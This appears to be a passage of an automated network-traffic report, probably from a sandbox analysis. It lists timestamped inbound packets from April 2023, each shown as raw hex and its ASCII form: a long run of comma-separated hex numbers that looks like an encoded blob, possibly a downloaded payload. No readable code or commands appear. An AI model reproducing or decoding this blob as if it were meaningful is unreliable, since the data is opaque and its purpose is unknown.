2023-04-20 23:04:59 UTC	9805	IN	Data Raw: 34 66 2c 31 30 63 2c 38 35 2c 63 64 2c 31 36 35 2c 61 33 2c 66 63 2c 35 62 2c 63 62 2c 31 30 31 2c 64 31 2c 34 66 2c 37 35 2c 61 63 2c 31 31 63 2c 37 39 2c 31 32 64 2c 31 30 39 2c 36 61 2c 65 63 2c 64 37 2c 31 32 66 2c 37 63 2c 64 61 2c 38 65 2c 64 61 2c 31 34 61 2c 62 33 2c 63 37 2c 63 62 2c 66 31 2c 31 33 35 2c 31 30 30 2c 63 39 2c 63 62 2c 65 30 2c 66 61 2c 36 64 2c 35 35 2c 31 34 33 2c 31 32 63 2c 31 32 31 2c 31 30 62 2c 31 32 35 2c 66 66 2c 65 37 2c 65 38 2c 31 31 63 2c 65 65 2c 31 30 62 2c 66 33 2c 36 66 2c 64 66 2c 62 30 2c 64 36 2c 38 30 2c 39 36 2c 38 33 2c 31 30 35 2c 61 36 2c 31 30 37 2c 31 30 65 2c 31 31 61 2c 38 36 2c 65 66 2c 31 32 38 2c 31 36 36 2c 37 35 2c 31 31 36 2c 39 64 2c 31 31 64 2c 66 39 2c 31 34 36 2c 31 30 32 2c 31 33 65 2c 31 31 Data Ascii: 4f,10c,85,cd,165,a3,fc,5b,cb,101,d1,4f,75,ac,11c,79,12d,109,6a,ec,d7,12f,7c,da,8e,da,14a,b3,c7,cb,f1,135,100,c9,cb,e0,fa,6d,55,143,12c,121,10b,125,ff,e7,e8,11c,ee,10b,f3,6f,df,b0,d6,80,96,83,105,a6,107,10e,11a,86,ef,128,166,75,116,9d,11d,f9,146,102,13e,11
2023-04-20 23:04:59 UTC	9821	IN	Data Raw: 61 2c 64 64 2c 31 30 38 2c 37 64 2c 65 33 2c 39 37 2c 38 34 2c 31 30 32 2c 38 33 2c 64 39 2c 31 35 61 2c 64 64 2c 31 32 38 2c 31 31 35 2c 37 64 2c 65 34 2c 31 33 34 2c 33 63 2c 63 32 2c 63 36 2c 62 62 2c 31 34 33 2c 31 31 37 2c 31 31 31 2c 64 38 2c 36 65 2c 31 31 66 2c 62 33 2c 65 31 2c 63 39 2c 64 61 2c 31 34 33 2c 63 63 2c 31 30 31 2c 62 35 2c 37 62 2c 63 36 2c 31 33 34 2c 64 66 2c 31 32 38 2c 63 35 2c 66 34 2c 31 31 31 2c 34 33 2c 36 37 2c 31 31 63 2c 63 32 2c 39 62 2c 65 61 2c 66 30 2c 37 63 2c 39 61 2c 31 35 39 2c 62 33 2c 66 63 2c 63 62 2c 31 30 34 2c 39 31 2c 31 34 64 2c 37 64 2c 31 30 33 2c 31 34 65 2c 39 62 2c 31 31 61 2c 38 36 2c 66 32 2c 31 31 36 2c 35 38 2c 61 62 2c 31 34 31 2c 37 39 2c 31 31 66 2c 31 33 38 2c 64 37 2c 64 33 2c 65 66 2c 63 30 Data Ascii: a,dd,108,7d,e3,97,84,102,83,d9,15a,dd,128,115,7d,e4,134,3c,c2,c6,bb,143,117,111,d8,6e,11f,b3,e1,c9,da,143,cc,101,b5,7b,c6,134,df,128,c5,f4,111,43,67,11c,c2,9b,ea,f0,7c,9a,159,b3,fc,cb,104,91,14d,7d,103,14e,9b,11a,86,f2,116,58,ab,141,79,11f,138,d7,d3,ef,c0
2023-04-20 23:04:59 UTC	9837	IN	Data Raw: 2c 64 34 2c 66 64 2c 37 63 2c 31 32 31 2c 37 61 2c 39 65 2c 38 63 2c 31 31 61 2c 39 61 2c 31 32 30 2c 39 62 2c 65 33 2c 39 64 2c 31 35 63 2c 31 31 64 2c 65 66 2c 62 38 2c 31 35 61 2c 66 38 2c 66 38 2c 62 38 2c 38 66 2c 34 39 2c 61 39 2c 31 31 39 2c 62 38 2c 38 36 2c 37 34 2c 62 66 2c 64 36 2c 37 63 2c 61 37 2c 64 31 2c 31 31 30 2c 31 31 36 2c 65 62 2c 65 30 2c 65 37 2c 31 32 30 2c 31 32 63 2c 31 31 39 2c 66 34 2c 31 34 33 2c 61 39 2c 66 34 2c 62 39 2c 61 63 2c 31 31 62 2c 38 65 2c 37 62 2c 31 32 63 2c 31 30 65 2c 65 33 2c 37 33 2c 31 32 32 2c 31 33 65 2c 31 33 61 2c 61 65 2c 31 33 62 2c 39 66 2c 31 30 37 2c 66 65 2c 31 30 65 2c 65 31 2c 39 65 2c 31 34 39 2c 31 31 31 2c 31 36 37 2c 31 31 63 2c 64 63 2c 61 35 2c 66 66 2c 65 63 2c 31 33 66 2c 39 30 2c 63 61 Data Ascii: ,d4,fd,7c,121,7a,9e,8c,11a,9a,120,9b,e3,9d,15c,11d,ef,b8,15a,f8,f8,b8,8f,49,a9,119,b8,86,74,bf,d6,7c,a7,d1,110,116,eb,e0,e7,120,12c,119,f4,143,a9,f4,b9,ac,11b,8e,7b,12c,10e,e3,73,122,13e,13a,ae,13b,9f,107,fe,10e,e1,9e,149,111,167,11c,dc,a5,ff,ec,13f,90,ca
2023-04-20 23:04:59 UTC	9853	IN	Data Raw: 36 2c 31 31 35 2c 39 61 2c 31 30 62 2c 66 63 2c 38 61 2c 31 31 61 2c 31 31 66 2c 65 39 2c 37 64 2c 62 34 2c 31 34 39 2c 36 62 2c 61 32 2c 31 32 64 2c 39 31 2c 65 30 2c 31 36 63 2c 61 33 2c 31 33 36 2c 36 30 2c 37 36 2c 31 31 64 2c 36 66 2c 38 35 2c 62 35 2c 31 34 39 2c 64 34 2c 31 35 30 2c 31 34 36 2c 65 65 2c 64 37 2c 35 34 2c 38 64 2c 31 31 31 2c 37 30 2c 31 34 39 2c 63 31 2c 31 34 32 2c 33 64 2c 31 31 36 2c 39 62 2c 31 30 32 2c 31 34 38 2c 38 65 2c 66 34 2c 31 32 30 2c 31 33 39 2c 31 32 66 2c 65 66 2c 35 37 2c 31 33 61 2c 62 31 2c 64 34 2c 31 33 63 2c 62 30 2c 34 61 2c 31 34 35 2c 31 33 39 2c 31 34 30 2c 37 64 2c 31 33 38 2c 66 38 2c 31 30 65 2c 39 61 2c 64 30 2c 31 30 36 2c 63 64 2c 63 30 2c 38 35 2c 31 30 63 2c 36 39 2c 65 33 2c 66 61 2c 39 63 2c 62 Data Ascii: 6,115,9a,10b,fc,8a,11a,11f,e9,7d,b4,149,6b,a2,12d,91,e0,16c,a3,136,60,76,11d,6f,85,b5,149,d4,150,146,ee,d7,54,8d,111,70,149,c1,142,3d,116,9b,102,148,8e,f4,120,139,12f,ef,57,13a,b1,d4,13c,b0,4a,145,139,140,7d,138,f8,10e,9a,d0,106,cd,c0,85,10c,69,e3,fa,9c,b
2023-04-20 23:04:59 UTC	9869	IN	Data Raw: 33 38 2c 36 38 2c 61 64 2c 62 33 2c 39 34 2c 31 33 64 2c 31 32 65 2c 31 32 37 2c 39 30 2c 31 30 34 2c 31 30 61 2c 31 30 61 2c 35 38 2c 64 35 2c 31 30 64 2c 31 33 62 2c 36 35 2c 31 33 63 2c 31 35 37 2c 31 30 62 2c 31 32 34 2c 63 39 2c 31 36 31 2c 62 64 2c 39 37 2c 33 37 2c 65 35 2c 65 38 2c 31 33 31 2c 31 33 63 2c 31 32 38 2c 31 35 62 2c 31 33 39 2c 64 65 2c 31 32 30 2c 62 39 2c 37 39 2c 39 65 2c 38 39 2c 36 35 2c 36 31 2c 65 33 2c 37 36 2c 35 62 2c 65 65 2c 38 38 2c 65 63 2c 61 61 2c 34 31 2c 62 38 2c 31 30 34 2c 61 33 2c 62 33 2c 31 34 66 2c 63 32 2c 37 31 2c 63 38 2c 33 31 2c 31 35 36 2c 34 39 2c 65 35 2c 63 63 2c 31 35 32 2c 31 33 37 2c 62 61 2c 63 39 2c 31 32 64 2c 65 62 2c 31 32 38 2c 38 39 2c 65 64 2c 66 33 2c 37 66 2c 34 32 2c 39 30 2c 37 32 2c 66 Data Ascii: 38,68,ad,b3,94,13d,12e,127,90,104,10a,10a,58,d5,10d,13b,65,13c,157,10b,124,c9,161,bd,97,37,e5,e8,131,13c,128,15b,139,de,120,b9,79,9e,89,65,61,e3,76,5b,ee,88,ec,aa,41,b8,104,a3,b3,14f,c2,71,c8,31,156,49,e5,cc,152,137,ba,c9,12d,eb,128,89,ed,f3,7f,42,90,72,f
2023-04-20 23:04:59 UTC	9885	IN	Data Raw: 2c 31 31 39 2c 64 32 2c 65 34 2c 31 30 66 2c 63 33 2c 31 33 34 2c 62 62 2c 38 63 2c 31 33 30 2c 31 31 38 2c 33 30 2c 63 35 2c 62 39 2c 64 33 2c 61 30 2c 36 62 2c 31 35 64 2c 31 34 35 2c 38 38 2c 36 63 2c 31 31 35 2c 31 35 33 2c 38 66 2c 31 33 31 2c 63 33 2c 65 63 2c 31 32 62 2c 66 32 2c 37 35 2c 31 34 30 2c 31 30 30 2c 61 36 2c 37 32 2c 37 38 2c 64 65 2c 38 61 2c 31 30 65 2c 31 31 35 2c 65 63 2c 31 35 39 2c 39 31 2c 36 37 2c 33 30 2c 31 30 64 2c 39 35 2c 37 62 2c 31 35 34 2c 63 34 2c 38 37 2c 37 39 2c 61 36 2c 37 65 2c 31 33 31 2c 61 32 2c 31 30 64 2c 37 64 2c 39 38 2c 66 36 2c 31 32 32 2c 39 31 2c 31 30 34 2c 36 33 2c 66 39 2c 61 33 2c 64 61 2c 33 62 2c 61 62 2c 64 34 2c 62 62 2c 65 30 2c 37 30 2c 31 34 39 2c 31 32 30 2c 31 33 35 2c 31 30 66 2c 31 30 62 Data Ascii: ,119,d2,e4,10f,c3,134,bb,8c,130,118,30,c5,b9,d3,a0,6b,15d,145,88,6c,115,153,8f,131,c3,ec,12b,f2,75,140,100,a6,72,78,de,8a,10e,115,ec,159,91,67,30,10d,95,7b,154,c4,87,79,a6,7e,131,a2,10d,7d,98,f6,122,91,104,63,f9,a3,da,3b,ab,d4,bb,e0,70,149,120,135,10f,10b
2023-04-20 23:04:59 UTC	9901	IN	Data Raw: 35 37 2c 31 31 35 2c 31 31 65 2c 39 34 2c 35 63 2c 63 63 2c 31 34 39 2c 31 30 39 2c 64 33 2c 36 33 2c 31 33 37 2c 64 38 2c 38 33 2c 39 66 2c 61 31 2c 64 30 2c 31 30 36 2c 61 61 2c 31 30 65 2c 39 63 2c 61 36 2c 31 33 39 2c 62 66 2c 62 65 2c 62 65 2c 31 35 34 2c 66 61 2c 31 34 66 2c 66 62 2c 31 36 38 2c 31 32 61 2c 31 32 33 2c 64 61 2c 31 33 63 2c 36 64 2c 62 37 2c 31 32 33 2c 31 35 30 2c 31 33 31 2c 31 34 38 2c 65 34 2c 31 34 35 2c 62 39 2c 61 64 2c 61 64 2c 62 36 2c 66 33 2c 34 66 2c 37 33 2c 31 31 31 2c 31 32 36 2c 38 64 2c 31 31 39 2c 63 37 2c 64 66 2c 31 30 64 2c 61 32 2c 62 36 2c 31 31 35 2c 39 62 2c 31 30 31 2c 31 32 61 2c 31 30 34 2c 31 31 31 2c 31 30 30 2c 31 30 36 2c 66 61 2c 31 33 30 2c 65 37 2c 62 30 2c 31 31 35 2c 31 30 38 2c 65 36 2c 31 34 66 Data Ascii: 57,115,11e,94,5c,cc,149,109,d3,63,137,d8,83,9f,a1,d0,106,aa,10e,9c,a6,139,bf,be,be,154,fa,14f,fb,168,12a,123,da,13c,6d,b7,123,150,131,148,e4,145,b9,ad,ad,b6,f3,4f,73,111,126,8d,119,c7,df,10d,a2,b6,115,9b,101,12a,104,111,100,106,fa,130,e7,b0,115,108,e6,14f
2023-04-20 23:05:00 UTC	9917	IN	Data Raw: 37 2c 36 35 2c 37 39 2c 37 36 2c 37 62 2c 64 34 2c 31 35 33 2c 66 61 2c 61 31 2c 34 36 2c 31 33 65 2c 37 30 2c 38 63 2c 63 62 2c 31 31 61 2c 63 35 2c 61 64 2c 36 33 2c 61 38 2c 31 32 38 2c 64 34 2c 31 30 34 2c 39 39 2c 64 33 2c 38 63 2c 62 34 2c 63 65 2c 61 36 2c 31 31 63 2c 31 30 38 2c 31 33 37 2c 66 66 2c 38 34 2c 65 35 2c 63 63 2c 39 38 2c 31 30 65 2c 36 39 2c 61 62 2c 62 32 2c 38 36 2c 31 30 37 2c 31 35 61 2c 38 61 2c 64 66 2c 31 30 64 2c 38 38 2c 31 36 31 2c 62 34 2c 31 30 35 2c 63 64 2c 66 65 2c 36 31 2c 35 66 2c 63 31 2c 31 32 38 2c 31 34 32 2c 65 63 2c 31 30 62 2c 35 38 2c 64 39 2c 31 34 66 2c 64 62 2c 31 30 66 2c 31 32 66 2c 36 35 2c 38 65 2c 31 31 30 2c 34 36 2c 38 63 2c 31 33 31 2c 63 61 2c 62 62 2c 34 37 2c 65 31 2c 31 33 36 2c 65 62 2c 37 30 Data Ascii: 7,65,79,76,7b,d4,153,fa,a1,46,13e,70,8c,cb,11a,c5,ad,63,a8,128,d4,104,99,d3,8c,b4,ce,a6,11c,108,137,ff,84,e5,cc,98,10e,69,ab,b2,86,107,15a,8a,df,10d,88,161,b4,105,cd,fe,61,5f,c1,128,142,ec,10b,58,d9,14f,db,10f,12f,65,8e,110,46,8c,131,ca,bb,47,e1,136,eb,70
2023-04-20 23:05:00 UTC	9933	IN	Data Raw: 2c 31 30 65 2c 31 36 30 2c 36 66 2c 31 33 38 2c 65 38 2c 65 35 2c 61 63 2c 62 36 2c 31 33 35 2c 31 30 32 2c 31 31 34 2c 39 63 2c 66 39 2c 36 33 2c 31 32 36 2c 61 64 2c 31 31 32 2c 39 32 2c 31 35 39 2c 65 35 2c 38 39 2c 35 34 2c 39 30 2c 37 66 2c 31 35 33 2c 63 30 2c 31 34 31 2c 31 31 35 2c 65 37 2c 66 34 2c 62 30 2c 31 30 30 2c 39 33 2c 31 33 38 2c 61 37 2c 31 32 66 2c 34 31 2c 31 31 30 2c 31 32 64 2c 63 33 2c 66 30 2c 36 32 2c 31 31 34 2c 66 62 2c 31 33 35 2c 65 39 2c 63 63 2c 61 30 2c 61 33 2c 31 32 34 2c 63 38 2c 39 32 2c 61 38 2c 31 33 30 2c 64 61 2c 64 31 2c 31 36 66 2c 61 32 2c 65 30 2c 31 34 61 2c 36 30 2c 37 31 2c 31 33 37 2c 31 31 34 2c 37 66 2c 39 35 2c 64 35 2c 31 31 65 2c 31 32 38 2c 31 34 36 2c 31 35 32 2c 63 30 2c 31 30 30 2c 38 36 2c 31 30 Data Ascii: ,10e,160,6f,138,e8,e5,ac,b6,135,102,114,9c,f9,63,126,ad,112,92,159,e5,89,54,90,7f,153,c0,141,115,e7,f4,b0,100,93,138,a7,12f,41,110,12d,c3,f0,62,114,fb,135,e9,cc,a0,a3,124,c8,92,a8,130,da,d1,16f,a2,e0,14a,60,71,137,114,7f,95,d5,11e,128,146,152,c0,100,86,10
2023-04-20 23:05:00 UTC	9949	IN	Data Raw: 62 2c 31 32 66 2c 31 32 65 2c 31 33 39 2c 64 61 2c 61 30 2c 64 63 2c 38 33 2c 63 36 2c 64 37 2c 66 37 2c 37 65 2c 31 31 63 2c 31 30 63 2c 31 34 30 2c 62 38 2c 66 31 2c 38 34 2c 31 33 39 2c 31 33 63 2c 31 30 36 2c 31 35 33 2c 34 34 2c 61 30 2c 64 32 2c 39 36 2c 31 32 66 2c 31 30 38 2c 39 39 2c 64 39 2c 31 30 32 2c 65 39 2c 65 63 2c 31 35 38 2c 39 33 2c 64 36 2c 31 32 35 2c 31 34 33 2c 35 66 2c 63 37 2c 66 36 2c 65 63 2c 31 30 63 2c 37 37 2c 39 38 2c 36 39 2c 31 33 61 2c 39 30 2c 31 33 34 2c 39 30 2c 31 34 63 2c 31 30 34 2c 66 65 2c 37 63 2c 65 65 2c 35 63 2c 63 61 2c 31 35 64 2c 61 61 2c 34 39 2c 64 34 2c 31 35 39 2c 66 63 2c 61 62 2c 31 33 31 2c 65 31 2c 31 32 37 2c 35 33 2c 33 39 2c 65 30 2c 63 66 2c 63 31 2c 37 64 2c 63 61 2c 62 64 2c 31 35 34 2c 63 37 Data Ascii: b,12f,12e,139,da,a0,dc,83,c6,d7,f7,7e,11c,10c,140,b8,f1,84,139,13c,106,153,44,a0,d2,96,12f,108,99,d9,102,e9,ec,158,93,d6,125,143,5f,c7,f6,ec,10c,77,98,69,13a,90,134,90,14c,104,fe,7c,ee,5c,ca,15d,aa,49,d4,159,fc,ab,131,e1,127,53,39,e0,cf,c1,7d,ca,bd,154,c7
2023-04-20 23:05:00 UTC	9965	IN	Data Raw: 37 2c 35 35 2c 61 39 2c 31 36 61 2c 61 63 2c 35 37 2c 37 37 2c 62 61 2c 31 30 62 2c 31 31 37 2c 36 62 2c 31 31 39 2c 36 65 2c 63 63 2c 33 66 2c 39 31 2c 31 30 31 2c 31 35 65 2c 63 32 2c 63 31 2c 63 34 2c 31 30 34 2c 35 65 2c 39 65 2c 37 34 2c 31 30 32 2c 64 30 2c 39 63 2c 64 32 2c 39 33 2c 64 31 2c 31 33 31 2c 35 38 2c 35 65 2c 36 36 2c 39 64 2c 39 37 2c 63 32 2c 65 62 2c 61 37 2c 37 34 2c 62 61 2c 66 32 2c 31 32 33 2c 31 34 32 2c 37 65 2c 66 34 2c 62 36 2c 36 30 2c 31 36 36 2c 65 65 2c 31 34 34 2c 31 31 30 2c 61 35 2c 62 34 2c 63 39 2c 35 65 2c 36 32 2c 31 33 66 2c 64 62 2c 31 31 39 2c 31 32 33 2c 31 35 66 2c 31 35 30 2c 31 30 32 2c 31 32 66 2c 65 62 2c 37 39 2c 61 61 2c 38 38 2c 65 63 2c 38 64 2c 65 65 2c 34 39 2c 35 39 2c 31 34 34 2c 38 35 2c 31 35 34 Data Ascii: 7,55,a9,16a,ac,57,77,ba,10b,117,6b,119,6e,cc,3f,91,101,15e,c2,c1,c4,104,5e,9e,74,102,d0,9c,d2,93,d1,131,58,5e,66,9d,97,c2,eb,a7,74,ba,f2,123,142,7e,f4,b6,60,166,ee,144,110,a5,b4,c9,5e,62,13f,db,119,123,15f,150,102,12f,eb,79,aa,88,ec,8d,ee,49,59,144,85,154
2023-04-20 23:05:00 UTC	9981	IN	Data Raw: 63 2c 38 33 2c 66 34 2c 37 38 2c 65 65 2c 61 31 2c 31 32 31 2c 35 65 2c 38 36 2c 66 31 2c 64 63 2c 39 62 2c 31 31 61 2c 31 30 30 2c 64 65 2c 38 66 2c 31 31 39 2c 39 64 2c 31 35 31 2c 62 30 2c 31 31 38 2c 31 35 62 2c 62 39 2c 66 35 2c 35 64 2c 61 32 2c 66 30 2c 31 32 61 2c 35 66 2c 62 30 2c 31 30 66 2c 61 65 2c 35 31 2c 31 33 61 2c 66 64 2c 31 31 36 2c 31 30 39 2c 62 63 2c 63 33 2c 31 31 63 2c 31 35 39 2c 31 31 39 2c 65 39 2c 31 31 62 2c 31 30 34 2c 35 34 2c 38 32 2c 61 38 2c 39 62 2c 31 36 35 2c 31 34 62 2c 65 61 2c 38 61 2c 31 33 33 2c 31 31 32 2c 62 35 2c 61 31 2c 35 34 2c 31 30 35 2c 31 34 62 2c 31 33 63 2c 61 33 2c 38 63 2c 31 32 37 2c 31 31 63 2c 31 32 61 2c 61 36 2c 62 33 2c 64 38 2c 63 66 2c 39 35 2c 66 36 2c 65 61 2c 31 32 63 2c 61 65 2c 31 32 39 Data Ascii: c,83,f4,78,ee,a1,121,5e,86,f1,dc,9b,11a,100,de,8f,119,9d,151,b0,118,15b,b9,f5,5d,a2,f0,12a,5f,b0,10f,ae,51,13a,fd,116,109,bc,c3,11c,159,119,e9,11b,104,54,82,a8,9b,165,14b,ea,8a,133,112,b5,a1,54,105,14b,13c,a3,8c,127,11c,12a,a6,b3,d8,cf,95,f6,ea,12c,ae,129
2023-04-20 23:05:00 UTC	9997	IN	Data Raw: 64 2c 65 35 2c 34 61 2c 38 34 2c 31 30 36 2c 65 32 2c 31 36 62 2c 34 38 2c 65 31 2c 31 31 38 2c 31 34 61 2c 31 36 64 2c 65 61 2c 64 66 2c 31 33 63 2c 34 36 2c 63 63 2c 39 34 2c 31 31 38 2c 61 33 2c 37 37 2c 61 37 2c 39 39 2c 65 63 2c 61 62 2c 31 32 34 2c 36 62 2c 31 34 63 2c 66 33 2c 66 32 2c 65 62 2c 62 34 2c 31 32 63 2c 31 31 33 2c 64 38 2c 31 34 65 2c 37 32 2c 66 62 2c 31 35 64 2c 31 32 64 2c 31 31 36 2c 31 32 33 2c 66 32 2c 39 36 2c 63 61 2c 64 62 2c 38 33 2c 38 62 2c 31 30 62 2c 31 33 61 2c 31 32 31 2c 31 35 66 2c 36 38 2c 31 33 66 2c 35 63 2c 38 64 2c 31 33 39 2c 31 31 64 2c 36 39 2c 39 66 2c 37 64 2c 61 63 2c 38 66 2c 66 32 2c 64 33 2c 39 66 2c 35 66 2c 31 32 64 2c 39 36 2c 62 36 2c 36 63 2c 33 64 2c 31 30 33 2c 38 35 2c 31 33 64 2c 31 35 61 2c 37 Data Ascii: d,e5,4a,84,106,e2,16b,48,e1,118,14a,16d,ea,df,13c,46,cc,94,118,a3,77,a7,99,ec,ab,124,6b,14c,f3,f2,eb,b4,12c,113,d8,14e,72,fb,15d,12d,116,123,f2,96,ca,db,83,8b,10b,13a,121,15f,68,13f,5c,8d,139,11d,69,9f,7d,ac,8f,f2,d3,9f,5f,12d,96,b6,6c,3d,103,85,13d,15a,7
2023-04-20 23:05:00 UTC	10013	IN	Data Raw: 2c 37 31 2c 38 38 2c 31 32 31 2c 63 31 2c 38 64 2c 38 61 2c 61 35 2c 31 30 66 2c 31 36 34 2c 36 30 2c 63 64 2c 39 64 2c 31 34 38 2c 66 32 2c 61 33 2c 36 33 2c 37 39 2c 31 34 39 2c 38 31 2c 31 33 30 2c 66 61 2c 31 35 30 2c 39 37 2c 61 62 2c 31 34 64 2c 31 31 63 2c 31 31 35 2c 33 61 2c 31 34 61 2c 31 31 66 2c 65 33 2c 64 30 2c 62 66 2c 31 35 33 2c 37 61 2c 31 35 65 2c 31 36 35 2c 61 35 2c 37 35 2c 31 30 37 2c 66 39 2c 31 30 38 2c 66 38 2c 31 30 31 2c 31 31 38 2c 39 30 2c 31 30 36 2c 31 30 34 2c 31 30 65 2c 66 63 2c 37 31 2c 66 62 2c 31 31 33 2c 31 32 35 2c 31 37 30 2c 31 32 65 2c 31 32 32 2c 37 32 2c 31 33 32 2c 31 30 33 2c 38 65 2c 35 36 2c 36 31 2c 31 36 38 2c 66 61 2c 31 34 39 2c 66 38 2c 62 37 2c 37 36 2c 36 30 2c 37 37 2c 61 36 2c 61 30 2c 31 35 37 2c Data Ascii: ,71,88,121,c1,8d,8a,a5,10f,164,60,cd,9d,148,f2,a3,63,79,149,81,130,fa,150,97,ab,14d,11c,115,3a,14a,11f,e3,d0,bf,153,7a,15e,165,a5,75,107,f9,108,f8,101,118,90,106,104,10e,fc,71,fb,113,125,170,12e,122,72,132,103,8e,56,61,168,fa,149,f8,b7,76,60,77,a6,a0,157,
2023-04-20 23:05:00 UTC	10029	IN	Data Raw: 30 2c 65 61 2c 31 30 34 2c 62 35 2c 31 31 66 2c 66 61 2c 64 61 2c 35 38 2c 62 34 2c 63 64 2c 31 32 63 2c 65 66 2c 31 30 33 2c 66 35 2c 35 36 2c 61 64 2c 39 65 2c 64 36 2c 38 33 2c 38 38 2c 34 34 2c 37 38 2c 37 39 2c 31 31 61 2c 39 32 2c 61 62 2c 38 36 2c 31 35 36 2c 37 31 2c 39 32 2c 65 34 2c 34 35 2c 37 39 2c 36 32 2c 31 30 65 2c 65 64 2c 39 33 2c 31 31 37 2c 39 66 2c 31 30 61 2c 64 31 2c 31 37 30 2c 38 39 2c 66 32 2c 31 32 31 2c 31 30 66 2c 31 31 34 2c 37 37 2c 65 38 2c 39 33 2c 39 61 2c 66 61 2c 64 32 2c 31 36 64 2c 31 32 32 2c 65 62 2c 31 33 36 2c 31 31 31 2c 64 61 2c 38 32 2c 63 34 2c 31 30 33 2c 64 37 2c 62 37 2c 35 66 2c 36 30 2c 31 31 66 2c 31 32 33 2c 39 61 2c 38 62 2c 36 64 2c 64 33 2c 31 33 65 2c 31 30 61 2c 31 35 33 2c 36 39 2c 31 31 66 2c 33 Data Ascii: 0,ea,104,b5,11f,fa,da,58,b4,cd,12c,ef,103,f5,56,ad,9e,d6,83,88,44,78,79,11a,92,ab,86,156,71,92,e4,45,79,62,10e,ed,93,117,9f,10a,d1,170,89,f2,121,10f,114,77,e8,93,9a,fa,d2,16d,122,eb,136,111,da,82,c4,103,d7,b7,5f,60,11f,123,9a,8b,6d,d3,13e,10a,153,69,11f,3
2023-04-20 23:05:00 UTC	10045	IN	Data Raw: 33 31 2c 31 30 63 2c 36 63 2c 37 64 2c 65 31 2c 36 38 2c 35 30 2c 64 66 2c 31 35 63 2c 31 31 33 2c 31 32 38 2c 31 32 39 2c 64 30 2c 65 63 2c 31 31 63 2c 31 30 64 2c 62 66 2c 37 61 2c 38 33 2c 66 36 2c 38 34 2c 31 33 37 2c 31 34 33 2c 61 61 2c 31 30 64 2c 65 31 2c 31 30 66 2c 66 35 2c 61 35 2c 31 30 36 2c 64 64 2c 31 35 33 2c 65 35 2c 61 35 2c 61 31 2c 66 38 2c 64 33 2c 38 65 2c 36 31 2c 62 62 2c 31 36 63 2c 31 30 36 2c 38 63 2c 65 65 2c 31 33 34 2c 31 32 66 2c 61 63 2c 35 36 2c 31 32 66 2c 36 66 2c 39 32 2c 31 34 33 2c 31 34 61 2c 39 39 2c 61 36 2c 66 37 2c 61 61 2c 65 36 2c 66 63 2c 61 37 2c 31 35 31 2c 61 38 2c 31 33 30 2c 31 33 36 2c 31 35 33 2c 66 38 2c 31 32 66 2c 35 63 2c 31 31 31 2c 31 33 33 2c 31 31 38 2c 31 31 35 2c 65 64 2c 31 31 65 2c 35 37 2c Data Ascii: 31,10c,6c,7d,e1,68,50,df,15c,113,128,129,d0,ec,11c,10d,bf,7a,83,f6,84,137,143,aa,10d,e1,10f,f5,a5,106,dd,153,e5,a5,a1,f8,d3,8e,61,bb,16c,106,8c,ee,134,12f,ac,56,12f,6f,92,143,14a,99,a6,f7,aa,e6,fc,a7,151,a8,130,136,153,f8,12f,5c,111,133,118,115,ed,11e,57,
2023-04-20 23:05:00 UTC	10061	IN	Data Raw: 63 2c 31 31 32 2c 64 64 2c 39 37 2c 31 31 62 2c 31 33 66 2c 37 61 2c 33 62 2c 31 31 64 2c 31 35 35 2c 31 37 37 2c 63 37 2c 31 34 31 2c 31 33 61 2c 31 31 61 2c 39 32 2c 31 30 31 2c 62 39 2c 36 32 2c 65 66 2c 62 33 2c 63 66 2c 65 61 2c 31 37 30 2c 66 32 2c 37 30 2c 31 32 30 2c 38 32 2c 64 32 2c 31 34 65 2c 31 32 37 2c 65 33 2c 31 36 38 2c 31 30 34 2c 66 30 2c 31 30 66 2c 65 35 2c 66 62 2c 31 33 39 2c 34 32 2c 31 30 32 2c 64 31 2c 31 35 31 2c 31 33 36 2c 31 33 38 2c 36 31 2c 35 38 2c 38 36 2c 62 63 2c 35 66 2c 31 32 37 2c 38 33 2c 31 30 63 2c 31 32 30 2c 31 31 35 2c 64 38 2c 37 61 2c 65 32 2c 31 34 32 2c 66 39 2c 61 65 2c 62 65 2c 65 35 2c 31 30 39 2c 61 39 2c 63 36 2c 39 39 2c 61 34 2c 36 61 2c 39 66 2c 63 38 2c 36 37 2c 31 31 64 2c 31 32 32 2c 31 34 65 2c Data Ascii: c,112,dd,97,11b,13f,7a,3b,11d,155,177,c7,141,13a,11a,92,101,b9,62,ef,b3,cf,ea,170,f2,70,120,82,d2,14e,127,e3,168,104,f0,10f,e5,fb,139,42,102,d1,151,136,138,61,58,86,bc,5f,127,83,10c,120,115,d8,7a,e2,142,f9,ae,be,e5,109,a9,c6,99,a4,6a,9f,c8,67,11d,122,14e,
2023-04-20 23:05:00 UTC	10077	IN	Data Raw: 2c 64 34 2c 61 30 2c 63 36 2c 31 34 31 2c 38 38 2c 39 65 2c 35 39 2c 36 66 2c 31 33 37 2c 31 34 35 2c 31 32 37 2c 31 32 35 2c 31 33 35 2c 65 31 2c 62 62 2c 61 35 2c 66 31 2c 39 33 2c 31 30 61 2c 63 65 2c 34 33 2c 31 32 31 2c 31 33 37 2c 65 65 2c 36 39 2c 37 34 2c 31 33 35 2c 66 65 2c 36 37 2c 36 38 2c 62 37 2c 34 37 2c 61 64 2c 63 62 2c 39 35 2c 61 37 2c 65 61 2c 66 39 2c 38 65 2c 31 32 36 2c 31 36 35 2c 31 31 33 2c 31 32 61 2c 38 33 2c 64 35 2c 61 36 2c 64 62 2c 38 64 2c 65 35 2c 31 34 34 2c 64 32 2c 65 33 2c 63 32 2c 31 35 35 2c 61 32 2c 36 33 2c 61 33 2c 35 63 2c 31 36 61 2c 63 66 2c 31 30 31 2c 31 32 61 2c 31 35 33 2c 31 30 37 2c 38 33 2c 31 30 64 2c 39 62 2c 64 62 2c 36 63 2c 66 39 2c 63 33 2c 66 39 2c 65 38 2c 65 64 2c 62 33 2c 64 35 2c 34 38 2c 65 Data Ascii: ,d4,a0,c6,141,88,9e,59,6f,137,145,127,125,135,e1,bb,a5,f1,93,10a,ce,43,121,137,ee,69,74,135,fe,67,68,b7,47,ad,cb,95,a7,ea,f9,8e,126,165,113,12a,83,d5,a6,db,8d,e5,144,d2,e3,c2,155,a2,63,a3,5c,16a,cf,101,12a,153,107,83,10d,9b,db,6c,f9,c3,f9,e8,ed,b3,d5,48,e
